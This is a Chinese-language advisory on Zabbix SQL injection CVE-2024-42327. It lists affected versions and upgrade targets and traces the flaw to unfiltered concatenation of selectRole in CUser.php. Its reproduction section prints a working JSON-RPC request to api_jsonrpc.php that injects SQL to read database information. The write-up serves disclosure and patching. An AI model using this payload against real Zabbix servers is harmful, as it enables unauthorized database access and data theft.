Zabbix SQL 注入漏洞(CVE-2024-42327)
漏洞介绍
Zabbix前端上具有默认用户角色或任何其他赋予API访问权限的角色的非管理员用户帐户都可以利用此漏洞。addRelatedObjects函数的Cuser类中存在SQLi,该函数是从Cuser.get函数调用的,该函数适用于每个具有API访问权限的用户。
影响范围
6.0.0 - 6.0.31
6.4.0 - 6.4.16
7.0.0
修复建议
升级到安全版本:6.0.32rc1,6.4.17rc1,7.0.1rc1
漏洞复现
登录后使用以下payload:
POST /api_jsonrpc.php HTTP/1.1
Host: z.test.xaitx.com
Content-Type: application/json-rpc
Cookie: zbx_session=eyJzZXNzaW9uaWQiOiJiODVhYjcwNjZlN2M3YmU0YmYzNmEwMGEwN2ZjMzBiYiIsInNlcnZlckNoZWNrUmVzdWx0IjpmYWxzZSwic2VydmVyQ2hlY2tUaW1lIjoxNzMzNzQ2ODM5LCJzaWduIjoiMGE4N2RlZTkyNWU1Y2JlNTFkZjdkNGYyNzk1Y2ZlMmYxODA4NGEwYWJmODQ0MTk5NGI3MDA0MzRmNzA1MjY3YiJ9
Content-Length: 101
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": [
"a from (select 1 as userid) as u join (select (select user()) as a) as r #"
]
},
"id": 2
}
返回数据库对应的信息。
漏洞分析
漏洞关键点在于include\classes\api\services\CUser.php的addRelatedObjects函数中。可以看到SQL语句中将处理后的$options['selectRole']值直接拼接到了SQL语句中。而$options是直接从用户输入接收到的值,其他地方也没有对selectRole进行限制和过滤,只有最后有一个拼接。所以在这里直接导致了SQL注入。
因为该接口前面还有鉴权,所以还需要具有默认用户角色或任何其他赋予API访问权限的角色的非管理员用户帐户都可以利用此漏洞。